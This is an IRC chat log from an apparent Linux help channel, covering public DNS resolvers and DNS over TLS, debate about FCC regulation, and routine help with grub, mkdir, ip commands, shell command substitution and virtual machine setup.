18:27 < dgurney> if you're a big enough company with the ability to negotiate, you can easily get cool IP addresses
18:27 < Psi-Jack> be2pal: You mean opendns?
18:27 < JimBuntu> dgurney, but do you really want the ones that have been used for all sorts of whacky testing? lol. CloudFlare can handle it though.
18:28 < Lope> So is 1.1.1.1 the one where you think it's more private but when you use it the NSA checks your DNS requests extra carefully?
18:28 < anickname> ok for anyone who uses puppy linux, how would I mount a virtual disk (virtual machine) on boot?
18:28 < be2pal> No. Its opennic - https://en.wikipedia.org/wiki/OpenNIC
18:28 < Psi-Jack> Lope: Nope.
18:28 < ananke> anickname: /etc/fstab
18:28 < dgurney> well, sometimes extra cool factor comes with caveats :P
18:28 < ananke> opennic is interesting, but their servers fail too often for my taste
18:29 < ananke> every few months I'd have to go replace the ones that no longer function
18:29 < Psi-Jack> ^
18:29 < Lope> Well it's interesting. I've been using 8.8.8.8 and 8.8.4.4 for a few years. I don't like all my DNS requests logged by google forever and ever amen. But I found the opendns IP's unreliable.
18:29 < junka> why wouldnt NSA check opennic
18:29 < junka> why isnt opennic NSA
18:29 < junka> why am i here
18:29 < be2pal> ananke:  isnt opennic backed by non commercial entity
18:29 < ananke> junka: you're not making much sense
18:29 < ananke> be2pal: possibly.
18:30 < Frith> I tend to like obscurity through looking like a sheep.
18:30 < jackspyder> have you tried 1.1.1.1/
18:30 < Frith> The camoflaged sheep tends to stick out a bit.
18:30 < Lope> Frith: you've just been added to a watch list.
18:30  * Lope pictures a sheep wearing full camo.
18:30 < Frith> Well, at least someone now cares. :)
18:31 < JimBuntu> Lope, that's easy... all you see is trees and grass and stff, no sheep... cause camo
18:31 < be2pal> 1.1.1.1 is by cloudfare. how it be secure by a commercial corporate
18:31 < Lope> Yeah cloudflare is not exactly EFF
18:32 < junka> still better then G ?
18:32 < Psi-Jack> Hmmm.. The only problem with 1.1.1.1 is DOH.
18:32 < Dominian> I haven't done DoH
18:32 < Dominian> I do DoT
18:32 < Psi-Jack> Sorry, but adding an extra 2 layers of protocol is stupid.
18:32 < Lope> What's DOH?
18:32 < Psi-Jack> DoT is actually in RFC stages.
18:32 < jackspyder> i forgot i was in the tinfoil hat, death to all companies that make a profit channel ^^
18:32 < Dominian> Psi-Jack: yep
18:32 < Psi-Jack> DNS over HTTPS
18:32 < Dominian> Psi-Jack: I have my fireawll doing DoT
18:32 < Psi-Jack> Dominian: Nice. How's it been for you, and who're you using?
18:33 < Dominian> Psi-Jack: cloudflare
18:33 < Psi-Jack> Dominian: Eh? they do DoT too?
18:33 < Dominian> Psi-Jack: works ifne, they had an oddity ha dto patch when it came to unbound queries
18:33 < Dominian> Psi-Jack: yep
18:33 < Lope> jackspyder: well it's not the fact that it's a company that's a problem. It's a company in a particular jurisdiction that gets a fiber probe in it's anus.
18:33 < JimBuntu> jackspyder, here is your tin-foil dunce hat... go in the corner for your forgetfulness
18:33 < jackspyder> :D
18:33 < Psi-Jack> Dominian: But... They'r ethe pioneers of DoH.. And they don't even mention DoT..
18:34 < Dominian> Psi-Jack: Well it doe swit :)
18:34 < Lope> department of transport?
18:34 < Psi-Jack> Lope: DNS over TLS :p
18:34 < Lope> haha. Alrighty.
18:34 < jackspyder> IIRC its not there quite yet?
18:34 < junka> whats teh diff with HTTPS
18:34 < junka> kek
18:34 < Dominian> 12:34:26.466873 IP 10.114.134.17.2753 > 1.1.1.1.853: Flags [F.], seq 564, ack 2784, win 519, length 0
18:34 < Dominian> 12:34:26.489333 IP 1.1.1.1.853 > 10.114.134.17.2753: Flags [F.], seq 2784, ack 565, win 30, length 0
18:34 < Dominian> ^^^ Psi-Jack
18:34 < Dominian> Just pulled that from my router
18:34 < Psi-Jack> junka: 1 extra uneccessary layer.
18:34 < Psi-Jack> Dominian: Hmmm
18:35 < ayecee> 1.1.1.1 eh
18:35 < Dominian> and 1.0.0.1
18:35 < Psi-Jack> Dominian: I will check it out. heh
18:35 < Dominian> Psi-Jack: hehe
18:35 < Lope> It's a fair point to say that whether you use 8.8.8.8 or 1.0.0.1 or whatever the fuck it is, they're just going to sniff it all anyway.
18:35 < ayecee> weird
18:35 < jackspyder> gotta admit they're great IPs
18:35 < Dominian> jackspyder: yah
18:35 < Lope> So you might as well see if there's a NSA provided DNS server we can all use.
18:35 < Lope> At least they have to pay for our data :)
18:35 < jackspyder> like literally the best IP you could get
18:35 < Dominian> who's going to snoop it?
18:35 < Psi-Jack> I hate Google DNS, refuse to use them after the issue where for a week I couldn' tget to google.com while using THEIR dns servers. heh
18:35 < junka> Lope; you are very rational :)
18:35 < john_rambo> Hi, I am using LXDE on my Raspberry Pi ...The clock is in 24hrs format ....I want 12hrs format how to change it ?
18:36 < jackspyder> turn it off at lunch time every day for 12 hours
18:36 < Dominian> Psi-Jack: It's really quick too
18:36 < Lope> all your data are belong to us.
18:37 < Dominian> If the root servers did DoT, I'd just query them directly
18:37 < jackspyder> I assume my data is always public, but i'm still going to make it as annoying as possible
18:38 < jackspyder> is there any downsite to hitting a root server directly?
18:38 < Dominian> Psi-Jack: btw this is on https://1.1.1.1 in regards to logging: We will never log your IP address (the way other companies identify you). And we’re not just saying that. We’ve retained KPMG to audit our systems annually to ensure that we're doing what we say.
18:38 < Dominian> jackspyder: not really
18:38 < Lope> Anyone seen the Purism kickstarter? Security and privacy focused phone https://puri.sm/shop/librem-5/
18:38 < Dominian> jackspyder: sometimes can be faster, but yah
18:38 < Psi-Jack> Dominian: Yep.
18:38 < dgurney> Lope, i'm pretty sure most people here have seen that by now
18:39 < Psi-Jack> Dominian: I saw that, and heard that on the SecurityNow podcast I listen to. :)
18:39 < Dominian> Psi-Jack: yeah. That's another reason I started using them
18:39 < junka> Lope; thats old news
18:39 < angelo_ts> hi
18:40 < jackspyder> i switched to cloudflare, but they also just opened a new datacenter in my city
18:40 < jackspyder> googs are on fallback
18:41 < Lope> So who's pre-ordered one?
18:41 < jackspyder> actually hold the phone
18:41 < uplime> holding
18:41 < Frith> Odds on that phone ever shipping?  1 in 200.
18:41 < uplime> let me know when I can let it go
18:41 < jackspyder> How do i set a default dns server for all wifi networks
18:41 < jackspyder> on fedora
18:41 < prussian> your call is important to us
18:42 < Frith> Also, if it has a SIM card, you're now trackable.
18:42 < jackspyder> actually i'll just google it
18:43 < Lope> So have you removed 8.8.8.8 or did you just put 1.1.1.1 infront of it?
18:43 < jackspyder> Personally i ust put 1.1.1.1 in front, but i've just realised, on wifi you have to do that per network
18:44 < dgurney> well, imo that makes quite a lot of sense
18:44 < Lope> jackspyder: yeah I wonder where network-manager stores it's config file
18:48 < Psi-Jack> Heh. What pisses me off is that my isp does intercept dns queries and any nxdomain they inject their own reply.
18:48 < garylabronz> yeah that is annoying af, is it twc/spectrum?
18:49 < Lope> hehehehe
18:49 < SuperSeriousCat> Can you use DNSCrypt to bypass that?
18:49 < Lope> Yeah, bastards ;P
18:49 < Psi-Jack> Even if the dns comes from a 3rd party like Google dns.
18:49 < ayecee> oh wow, aggressive
18:49 < jackspyder> have you tried sending them a petrol bomb/
18:49 < Psi-Jack> SuperSeriousCat: I bet DoT works
18:49 < jackspyder> I'd be mad at that
18:49 < ayecee> now you're on a list
18:50 < Psi-Jack> jackspyder: I've made complaints to corporate management.
18:50 < jackspyder> yeah but they've got you over a barrel so
18:50 < jackspyder> its that or no internet :/
18:51 < SuperSeriousCat> Or DNSCrypt
18:51 < Psi-Jack> Not if we can get net neutrality to fracking pass.
18:52 < LissajousPattern> what we should be doing is trying to get rid of the FCC completely.
18:52 < collins> do you think linux for home users should be android-like when it comes to security? sandbox everything, restrict most things.
18:52 < Psi-Jack> No fcc is important.
18:52 < revel> I hate getting the FCC and EFF mixed up...
18:53 < dgurney> collins, a restricted distro like that certainly has its uses
18:53 < uplime> collins: no. if i wanted everything sandboxed I would get a chromebook
18:53 < garylabronz> agreed!
18:53 < Lope> well maybe at some point there will be a new decentralized internet that we can all use.
18:54 < jackspyder> FCC is fine, the issue is the world has gone fucking mad
18:54 < Lope> Like the dark web sortof.
18:54 < LissajousPattern> nah the FCC is pretty messed up
18:54 < Psi-Jack> LissajousPattern: you sound.. Uninformed
18:54 < Lope> The head of FCC says that RF only causes heating of bodily tissues and has no other effects.
18:54 < Frith> Lope: Then businesses will use it.  Then money will be made. Then the government will restrict it.
18:55 < collins> uplime: if it were up to me I'd just have a console with a compiler. But I'm talking about the general public here. Businesses and home users.
18:55 < Frith> Lope: That is true.
18:55 < Lope> He is basically god and no scientific evidence to the contrary can disagree with him or even be considered.
18:55 < Lope> That's never a good thing.
18:55 < uplime> collins: ok. that doesn't change my answer
18:55 < Frith> Lope: There is no physical mechanism for RF to interfere at a cellular level other than heating.
18:55 < uplime> also, a console and a compiler doesn't do much
18:55 < ||JD||> Lope: isn't Pied Piper developing that already?
18:55 < Lope> Frith: I see you've drunk the coolaid.
18:55 < uplime> that means no editor, no core utils, no shell
18:55 < LissajousPattern> Psi-Jack, please inform me then. I am a radio operator and understand that I have had to learn some sobering lessons regarding thoversite of the airwaves as it were
18:56 < Frith> Lope: If you mean due to a physics degree, yes.
18:56 < collins> uplime: you're looking at it solely from your own perspective
18:56 < uplime> collins: not really
18:56 < Lope> Frith: so lots of coolaid.
18:56 < uplime> you asked for opinions, I gave mine
18:57 < Frith> Lope: Also, it was Flavoraid at Jonestown.
18:57 < Frith> And you spell "Kool-aid" with a K.
18:57 < Lope> I'm not american so I spell it with a C
18:57 < LissajousPattern> you see I believe in free speech regardless of the medium and that means I do not wish to have some government agency telling when and where or even how I choose to exercise that free speech. including using RF to broadcast if I have the aptitude to do so.
18:57 < Psi-Jack> LissajousPattern: what does the fcc do? What problems do that warrant that they may be terminated in your mind?
18:57 < jackspyder> a machine with just a compiler and a console would be max secure
18:57 < Frith> Lope: I don't know what "Coolaid" is in that case.
18:57 < jackspyder> because humans are the issue and you'd eliminate most idiots
18:57 < Psi-Jack> Oh nevermind
18:58 < Frith> jackspyder: As long as the compilere hasn't been compromised.
18:58 < Lope> Frith: it's a metaphor/
18:58 < LissajousPattern> I have a FCC license
18:58 < Psi-Jack> LissajousPattern: so uninformed and biased
18:58 < Frith> Lope: Is that likle a simile?
18:58 < Lope> Frith: so much for your education.
18:59 < garylabronz> LissajousPattern: your argument isn't very convincing.  What is it that the FCC is doing to limit your free speech? broadcasting RF != free speech
18:59 < LissajousPattern> Psi-Jack, so please inform and help me get away from my bias. I am always welcome to listen to and consider new information.
18:59 < Frith> Lope: Are you saying it was closer to an analogy?
18:59 < Lope> Frith: buddy, it's whatever you want it to be at this point.
18:59 < ananke> how in the world is 'coolaid' a metaphor?
19:00 < jackspyder> The issue with the FCC as an organisation is that it swings widly in 2 different political directions as and when partys shift
19:00 < Frith> ananke: https://xkcd.com/762/
19:00 < jackspyder> and they end up just back and forth implementing and undoing eachothers policy
19:00 < jackspyder> kind of like the rest of politics forever
19:01 < garylabronz> ah sure, but it _should_ be non-partisan. I think abolishing the FCC is not the actual issue, you really want a non-partisan regulatory body that works for the people
19:01 < garylabronz> i agree current form FCC is pretty rubbish
19:01 < jackspyder> implementation issues as ever
19:02 < LissajousPattern> garylabronz, are you aware of all the litigations that have taken place in regards to the exercising of free speech by means of ham radio?
19:02 < Psi-Jack> LissajousPattern: cellular company gets reports that they have interface at a very specific tower location. Fcc is called because the disturbance is radio based. Turns out someone living near the tower was bit coin mining with a Chinese miner.  200 customers were affected.
19:02 < LissajousPattern> there are too many to count
19:03 < garylabronz> LissajousPattern: enlighten me please
19:04 < prussian> shame rf is a limited resource.
19:04 < LissajousPattern> garylabronz, you can actually go to the FCC website and look ongoing enforcement actions taking place against different people
19:05 < anickname> ok
19:05 < anickname> one thing
19:05 < LissajousPattern> its all public
19:05 < anickname> when I'm using puppylinux in a vm, it gives me a 10 second prompt saying choose an option to start it up
19:05 < anickname> is there a way to automatically skip this prompt
19:05 < anickname> and just automatically boot it
19:05 < garylabronz> im not sure im following your point tho? are you saying they should not be enforcing anything/what has it got to do with free speech?
19:05 < garylabronz> anickname: i think you want to edit your grub conf
19:06 < anickname> how would i go about doing that in a virtual machine
19:07 < garylabronz> edit the grub conf after its booted :)
19:07 < dgurney> the same way you would on a real computer
19:07 < Psi-Jack> LissajousPattern: so what if the fcc wasn't there. Do 200 customers may have to suffer because one individual is making so much RF noise hey themselves don't even know?
19:08 < LissajousPattern> Psi-Jack, I am actually not saying that. But it should be pretty obvious after a bit of digging that the spectrum is being mismanaged and offered up to the highest bidder
19:09 < LissajousPattern> which is always a very slippery slope when dealing with any natural resource.
19:09 < fendur> what the difference between giving it to the highest bidder and giving it to the one who can overpower the rest with their transmitter?
19:09 < garylabronz> LissajousPattern: so you disagree with the current form of the FCC? and waht may be "pretty obvious" to you may not be to others
19:09 < anickname> how do I edit my grub at all?
19:09 < anickname> is it a certain file
19:09 < LissajousPattern> garylabronz, true
19:10 < Psi-Jack> LissajousPattern: well without the fcc, whom specialized in RF. Who would handle it? Heh
19:10 < junka> yes /etc/default/grub
19:10 < LissajousPattern> Psi-Jack, thats a whole other ball of wax of course
19:10 < anickname> thank you
19:10 < Lope> how can I run this without the && getting interpreted by the local computer? I want the && to pass through into the container command.
19:10 < Lope> systemd-nspawn -a -D /foo/ apt-get update && apt-get upgrade
19:11 < Psi-Jack> Exactly. Which is why the fcc exists.
19:11 < junka> anickname; dont forget to grub2-mkconfig -o path-to-grub.cfg
19:11 < garylabronz> wrap it in single quotes, or do bash -c '<commands>'
19:11 < anickname> thank you :)
19:11 < Lope> garylabronz: ah yes, perfect, thanks.
19:12 < junka> should be somewhere in /boot anickname
19:12 < LissajousPattern> Psi-Jack, and to be honest I don't think anyone has the answer to that
19:12 < gronke> Is there a mv flag that will create the directory if it doesn't exist?
19:13 < LissajousPattern> but we should at least consider it because either extreme would probably not be to our benefit as a society
19:13 < junka> mkdir?
19:13 < gronke> junka, I'm wondering if I could do a mv /foo/bar/myfile.txt /foo/dog/myfile.txt with a flag that will create dog/ if it doesn't exist
19:14 < gronke> will mkdir -p try to create the directory and have no error if it already exists?
19:14 < prussian> gronke: use install -D
19:14 < jml2> gronke, ?
19:14 < Lope> mawk: this systemd container spawn shit is amazing!!! Thank you!!
19:15 < Trel> When using the ip command to set an IP address, is there a way to clear out all old ones?
19:15 < jml2> gronke, mv is a core posix util, it would be dumb for the coreutils to share too much functionality
19:16 < gronke> jml2, is there any way I can do a mkdir that creates two folders? like mkdir foo/bar doesn't appear to work
19:16 < prussian> mkdir -p
19:17 < gronke> prussian, -p appears to suppress the error if a folder already exists, like mkdir -p foo when foo already exists
19:17 < jml2> gronke, you already answered your own question before..
19:17 < garylabronz> mkdir {foo,foo/bar}
19:17 < gronke> apparently it does both, interest
19:17 < gronke> *in
19:17 < gronke> *g
19:17 < uplime> garylabronz: mkdir -p foo/bar
19:17 < jml2> gronke, no not for the top dir I suppose.
19:17 < jml2> with -p it should
19:17 < lite4y> what does a DNS look up through dig mean? does it find the vip of the particular website?
19:17 < garylabronz> uplime: yeah, but if you want mkdir to error do it my way
19:18 < jml2> gronke, if there's a file that exists with the same name then it won't work
19:18 < uplime> well I still wouldn't do it that way
19:18 < uplime> i would do mkdir foo{,/bar}
19:18 < garylabronz> if you want error do it with mkdir {foo,foo/bar} if no error do -p
19:18 < uplime> thats a pretty useless expansion
19:19 < jml2> mkdir -p 1/2/3  works, as long as I don't have a file called "1" that is already existing
19:19 < uplime> jml2: it still works even if 1 exists
19:19 < jml2> uplime, I said a "file"
19:19  * jml2 -_-
19:20 < uplime> jml2: oh oops
19:22 < jml2> Trel, ip addr del ?
19:22 < jml2> Trel, (man ip-address)
19:23 < Trel> jml2: that's for one, since the command to set is add, I was under the impression there could be multiple added that way, I am looking for a way to clear them ALL out
19:23 < jml2> Trel, use flush
19:23 < doublehp> GeForce 8400M, which driver do you recommend for Xorg ? Nouveau seems .. suboptimal ...
19:24 < Trel> jml2: that's what I was looking for thanks.
19:24 < dgurney> doublehp, nouveau
19:25 < jml2> Trel, get used to nmcli if your distro uses it as well..
19:25 < jml2> Trel, you wouldn't want to be fighting with ip commands vs the networkmanager daemon
19:26 < doublehp> dgurney: but, it's buggy, mplayer reads video with saccaded stream, and CAD softwares complain about ... i don't know what, acceleration missing
19:26 < CrazyTux> hello, has anybody here heard of PCLinuxOS?
19:26 < doublehp> dgurney: glxgears only give 60FPS
19:26 < jml2> CrazyTux, yeah, i used to use it
19:27 < jml2> CrazyTux, its based of mandriva things.
19:27 < CrazyTux> jml2, what's your opinion on it?
19:27 < CrazyTux> about the current version of it?
19:27 < jml2> CrazyTux, it's fine.  the newew mandriva based ones are mageia and openmandriva
19:28 < hendrix> PCLinuxOS.. haven't heard that name in a long time
19:28 < jml2> I used it years ago for a very short period of time..
19:28 < CrazyTux> hendrix, https://www.pclinuxos.com/
19:28 < jml2> I like the idea they have a community magazine
19:28 < dgurney> doublehp, well you don't really have any better options with such ancient chip
19:29 < jml2> the pclinuxos team are doing the right thing in encouraging users in contributing to their own community magazine
19:29 < CrazyTux> jml2, all these three are suitable for beginners. Aren't they?
19:29 < jml2> that's the way distributions should work
19:29 < doublehp> dgurney: both SweetHome and FreeCAD crash at start :/ they don't even work slowly ... they crash !!!
19:29 < jml2> CrazyTux, mandriva was user-friendly in the late 90's... so the answer is yes
19:30 < doublehp> dgurney: I had better GLXgear results with the GForces I used in 2001 ....
19:30 < jml2> CrazyTux, it was technically actually called "mandrake" back then
19:30 < diogenese> until the lawsuit
19:30 < jml2> due to some trademark snuff they changed the name later
19:30 < CrazyTux> jml2, ok. Which one among the three would you recommend for a newbie, then?
19:31 < jml2> CrazyTux, I haven't used mandriva-things in a long while, but mageia has gotten very user friendly with a new welcome window which offers to install the nvidia driver.. this is good for new users..
19:31 < dgurney> doublehp, that's unfortunate, but honestly you're just SOL unless you're willing to try getting older nvidia drivers work with modern linux (wholeheartedly unrecommended)
19:31 < doublehp> dgurney: thanks, bye
19:31 < CrazyTux> jml2, ok
19:32 < CrazyTux> jml2, is Mageia easier than Ubuntu, OpenSuse Leap?
19:32 < Megabyte> hello
19:32 < lite4y> what does the command dig +trace www.google.com do?
19:32 < jml2> CrazyTux, ?
19:32 < jml2> CrazyTux, if you've tried both you'll say they're both just as easy to use.
19:33 < uplime> it does a dns lookup on www.google.com and traces the path (iirc) to the responder
19:33 < jml2> CrazyTux, as well as install
19:33 < jml2> CrazyTux, suse or opensuse is very confusing for installation for new users imho.
19:33 < meyou> hmm
19:33 < jml2> CrazyTux, especially when they would come across the partitioning setup
19:34 < lite4y> uplime: is it same as that of a traceroute command in linux?
19:34 < CrazyTux> jml2, actually I have used all these three. But, I frequently encountered this issue of random freezing on Ubuntu LTS and even on Leap.
19:34 < uplime> lite4y: no
19:34 < revel> lite4y: No, it's for DNS.
19:34 < lite4y> oh ok
19:34 < revel> "trace delegation down from root"
19:34 < uplime> what does delegation mean in this context?
19:35 < jml2> CrazyTux, likely your hardware is crap, and you would have to figure out what kernel parameter tweaks you need to make things work properly.
19:35 < Megabyte> Have you guys heard of LazyNezumi? I was wondering if there's a mouse/tablet smoothing program for Linux as well.
19:35 < revel> From the DNS root servers to the ones for TLDs to the specific nameserver for that domain, I think.
19:35 < uplime> ah
19:35 < revel> Might be a bit longer, but that's what it seems to be for google.com
19:35 < CrazyTux> jml2, no. My laptop is a new one. Only some distros seem to have this problem.
19:36 < Frith> My home Linux project -- I have a mechanical clock that is stopped.
19:36 < Frith> Now, everyone knows that a broken clock is right twice a day.
19:36 < Frith> So, I'm going to build image recognition for the hands, and figure out what time the clock says.
19:36 < Frith> Then, I'll turn on a green led saying the clock is right nor not.
19:37 < Frith> Based on the current system time.
19:37 < prussian> sounds cool
19:38 < prussian> should be doable in opencv easy enough
19:38 < fendur> Frith: I could ship you a double-A battery if you wanted...
19:39 < fendur> or perhaps you'd just prefer all the components to _build_ a double-A battery.
19:39 < FreeFull> Is there a good way to set the GTK theme on a per-program basis?
19:40 < FreeFull> Some programs don't look very good with a dark theme
19:40 < jml2> FreeFull, create a script with variables before calling the binary, likely you can
19:40 < Frith> fendur: Where's the fun in that?
19:41 < fendur> Frith: parimony IS fun.
19:41 < fendur> +s
19:43 < CrazyTux> is Mageia as secure and stable as OpenSuse?
19:44 < section1> maybe more.
19:44 < iol> hi, could somebody please help me pass the result of one command as a param on another?
19:44 < Megabyte> CrazyTux, Only if you use a pentagram
19:44 < CrazyTux> Megabyte, what?
19:45 < Megabyte> CrazyTux, Mageia = Μαγεία = Magic
19:45 < iol> i'm trying specifically to cat the results of the filename associated with a variable
19:45 < jml2> CrazyTux, it uses redhat sources.
19:45 < iol> so it seems like echo $FOO | cat should work
19:45 < jml2> CrazyTux, just as the other mandriva-based distros
19:45 < uplime> iol: cat "$(some command here)"
19:45 < invisisith> could anyone point me to a comprehensive cheat sheet for linux admins
19:45 < iol> oh ok
19:46 < iol> thanks uplime
19:46 < uplime> echo foo | cat just takes foo on stdin and prints it on stdout
19:46 < uplime> anytime
19:46 < iol> yeah
19:46 < iol> usually i'm just greping logs that way, i didn't know the "$(foo)" syntax
19:46 < iol> i googled a bit too but i guess i wasn't phrasing it right
19:46 < iol> thanks again
19:47 < CrazyTux> jml2, the last time I used Mageia, it was quite stable. While other distros had this issue of random freezes, I never faced this on Mageia, even once.
19:47 < uplime> iol: for future rference, its called command substitution if I'm not mistaken
19:47 < CrazyTux> But, is the community as dynamic as others like Debian, Ubuntu etc?
19:47 < jml2> CrazyTux, shouldnt blame a distro for poor hardware
19:48 < jml2> lol
19:48 < RusAlex> grep is the best for logs
19:48 < uplime> sometimes awk
19:48 < RusAlex> columns as well
19:48 < iol> actually is there something like an api?  i know there's man pages and all but i'm used to browsing through code documentation i guess so that's the format i'm used to
19:48 < uplime> iol: an api for what?
19:48 < iol> bash i guess?
19:48 < iol> shell scripting
19:49 < section1> its call  documentation
19:49 < uplime> i generally just sit in #bash and thats where I learn these things. theres also wiki.bash-hackers.org, mywiki.wooledge.org, the help builtin command, the bash man page, wooledge's bash guide, and the gnu bash manual
19:49 < iol> yeah thanks section1 i found it on gnu :)
19:49 < garylabronz> get use to the man page, i still am - but its really paying off.so fast to find information and no need to break out into your browser/etc
19:49 < section1> :)
19:49 < uplime> im not aware of any reputable resources beyond those
19:50 < iol> uplime: thanks so much, all good advice
19:50 < uplime> anytime :)
19:51 < iol> garylabronz: yeah i see the merit in that for sure, i use the shell a lot but just for specific things that i asked somebody to do 1-5-10 years ago and memorized
19:51 < iol> but what i use it for i couldn't imagine doing any other way
19:51 < iol> so i'm sure man page is the same as that :)
19:51 < uplime> there is also shellcheck.net, which is something you should use a lot
19:51 < iol> thanks all
19:51 < garylabronz> shellcheck is great, i run it all the time with vim & syntastic
19:53 < koala_man> glad you're finding it useful ^^
19:53 < uplime> i hear the dev is a terrible guy though
19:54 < koala_man> :(
19:54 < section1> hehe
19:54 < garylabronz> yeah man, really appreciate your work
19:54 < uplime> koala_man: <3
19:54 < koala_man> :*
19:55 < jml2> garylabronz, that's right gary tell those noobs :) lol
19:57 < twainwek> wait an actual program written in haskell?
19:58 < Trel> jml2: the machine in question was static, so I had disasbled network manager.
19:58 < koala_man> yes!
19:58 < kazdax> hi i am installing RHEL on virtual machine
19:58 < kazdax> does the cPU usually spike a 100 percent when tis installaing ?
19:59 < kazdax> the istallation is quite slow
19:59 < section1> kazdax, its a spike or its full 100% ?
19:59 < kazdax> its full 100 percent
20:00 < kazdax> all the time
20:00 < kazdax> i am using KVM With virt-manager
20:00 < jml2> Trel, you mean static ip? you can set that up with nmanager, have a system profile default
20:00 < section1> lot of time i don't install rhel
20:00 < section1> but not happen with debian.
20:00 < kazdax> i am using it to study for my RHCSA
20:00 < jml2> Trel, if you dont want desktop users handling control of the ip settings, then you should be able to disable their ability to use nm
20:00 < rafal_m> Hi everyone! I've just finished watching 3rd season of Mr.Robot and I liked it a lot. Does anyone have any reccomendations for movies that are similar to this series? I mean, something connected with the technical world (preferably) and with this mystery vibe to it. I liked "The Social Network" too, it's something that I'm looking for
20:01 < kazdax> rafal have you checked out crash and burn
20:01 < Trel> jml2: it's a server install, I don't want nmanager running
20:01 < ||JD||> rafal_m: halt and catch fire
20:01 < kazdax> should i give it more CPUs to work with
20:01 < kazdax> i am using a i5
20:01 < kazdax> more cores i mean
20:02 < section1> halt and catch fire its nice...
20:03 < section1> but very different of mr robot i think
20:03 < Trel> I just needed to set the IP temporarily (manually).
20:03 < Trel> It's all good now
20:03 < rafal_m> Thanks, will check it out
20:04 < Trel> I have the Network Manager wiki pages saved from the Arch wiki for my own use on laptops/desktops.
20:04 < anickname> ok I'm on puppy linux and I'm trying to install some packages using PPM
20:04 < RayTracer> kazdax: as the installation consists mainly of unpacking rpms, running scripts and eg. compressing initramfs, I'd consider it normal to have 100% of a single cpu
20:05 < xnekomata> lol quora is down
20:05 < anickname> but it's telling me there's no space left on the device
20:05 < anickname> however, there's about 8GB of free space left
20:05 < anickname> so I don't know why it's telling me that
20:05 < kazdax> raytracer but its to damm slow
20:05 < kazdax> okay i gave it 2 cpus to use
20:05 < kazdax> its doing better now
20:06 < sauvin> anickname, does the device have free inodes?
20:06 < RayTracer> df -i to check
20:06 < section1> and its not mounted as read only..
20:06 < kazdax> i think the video course should have told us about giving atleast 2 cpus to work with ..because on a single CPU core ..it runs really slow
20:06 < kazdax> even an old ubuntu runs really slow on just a single core
20:07 < revel> kazdax: Maybe that's because basically everyone has a multicore setup now?
20:08 < revel> Just like how everyone's on x86_64 now too.
20:08 < anickname> sauvin what's a free inode?
20:08 < garylabronz> im on arm kiddos
20:09 < kazdax> right
20:09 < kazdax> so the author assumes someone like me would be intellegent enought to figure out how much cores to give
20:09 < oehansen> revolution of the lefties
20:09 < RayTracer> my arms have 4 cores, though
20:09 < sauvin> anickname, roughly speaking, allocation units.
20:09 < revel> garylabronz: I think you're also on a version of weechat that anyone can cause to crash at any moment.
20:10 < garylabronz> damn, what should i use instead? im a noob. i started with irssi, i want something lightweight
20:10 < revel> A newer version of Weechat?
20:11 < kazdax> irssi is decent
20:11 < anickname> I mean I should?
20:11 < kazdax> but i like using the GUI
20:11 < kazdax> if i had no GUI iw ould irssi
20:11 < garylabronz> i live in the terminal, i might get irssi rolling
20:11 < Trel> I'd put in my vote for Weechat over Irssi
20:11 < garylabronz> and yeah ok, i see im on old version
20:12 < revel> garylabronz: CVE-2017-8073, I think.
20:12 < anickname> sauvin: I'm looking at filesystems and it's telling me /dev/loop0 and /dev/loop1 are full (/initrd/pup_ro2 and /initrd/pup_z respectively) but I got another mounted fielsystem at /dev/sda1 that it doesn't seem to want to use
20:12 < garylabronz> i need to just manually install weechat.. thanks revel!
20:12 < revel> Yeah, no problem.
20:13 < kazdax> why is it that some programm..when run ... take hol dof the terminal and the GUI starts runnign yet the terminal you cannot work on and others would execute the GUI app and allow you to use the terminal
20:15 < JimBuntu> kazdax, try using '&' after typing the name of a program that is blocking
20:18 < qman> kazdax: because the program is running and attached to stdout
20:30 < mawk> have fun Lope lol
20:34 < kazdax> i am looking for a refurbish laptop to run linux as the main operating system
20:34 < kazdax> what should i get ?
20:36 < FreeFull> kazdax: Depends on what software you want to run
20:36 < FreeFull> At least 4GB of RAM would be recommended, if you want to browse the web
20:37 < FreeFull> Linux itself will run on pretty much anything
20:37 < dgurney> at least 4gb of ram, and nothing too ancient
20:38 < dgurney> an older thinkpad (like an x220 or t420) would be a good bet
20:48 < Brainspackle> weechat > irssi, despite its unfortunate name
20:51 < mawk> of course
20:53 < ntd> how do you deal with a institutional monopoly service provider which isn't used to be called on bs and are exceedingly sparse with cause/fix info in fear of being outed as inept?
20:54 < ntd> i mean, letting it run it's course is one option, but takes forever :P
20:54 < Psi-Jack> 2GB ram would. Work. For light browsing only.
20:55 < qman> ntd: you start your own competing service
20:57 < ntd> which is functionally what i'm doing, hence them being apprehensive. problem is my business and them are close to conjoined twins
20:59 < twainwek> you need at least 64GB ram if you're running gnome3 and eclipse
21:00 < ShalokShalom> ^^
21:01 < revel> twainwek: How do you have a googleusercontent domain? :o
21:01 < ShalokShalom> kazdax: in which country do you reside?
21:01 < kazdax> America
21:01 < Psi-Jack> Gnome3 is actually, itself, relatively light on RAM, 1GB for it's core environment.
21:02 < kazdax> i used to love using gnome as a kid
21:02 < kazdax> just seeing that hobbit feet :D
21:02 < revel> Is 1GB "relatively light" now?
21:02 < ShalokShalom> ^^
21:02 < Psi-Jack> revel: Yes.
21:02 < Frith> revel: I was thinking the same thing.
21:02 < dgurney> with modern hardware, 1GB is not a problem
21:02 < Frith> "Back in MY day...."
21:02 < revel> After Firefox, sure, but just on a blank desktop?
21:02 < twainwek> revel: i'm majority share holder at google. just kidding, i'm on their vps
21:02 < Psi-Jack> revel: Yes
21:02 < ShalokShalom> kazdax: I prefer refurbished shops such as rebuy
21:03 < kazdax> okat my RHEL installation was really slow on KVM
21:03 < revel> Seriously?
21:03 < ntd> gnome3 would've been leaner without all the forced evolution, calendar, bells&whistles
21:03 < Psi-Jack> revel: Yes
21:03 < ShalokShalom> Elitebook is what I recommend
21:03 < kazdax> using virt-manager anyone know what the rpoblem could be ?
21:03 < dgurney> I just hope that big memory leak problem gets fixed soon
21:03 < revel> twainwek: Alright, thought so.
21:03 < kazdax> i will look at rebuy
21:03 < ShalokShalom> 4GB RAM and SSD
21:03 < kazdax> i want 16 gig ram
21:03 < ShalokShalom> KaOS as OS
21:03 < ShalokShalom> sure
21:03 < ShalokShalom> i told the minimum
21:03 < Psi-Jack> I want 64GB RAM, but I have 16GB now.
21:03 < ntd> ShalokShalom, you won
21:04 < ShalokShalom> ntd: huh?
21:04 < ntd> ShalokShalom, you won't notice any diff while just uing gnome
21:04 < ShalokShalom> what? :D
21:04 < ShalokShalom> ntd: i dont use GNOME
21:04 < ShalokShalom> KaOS is a KDE only distro
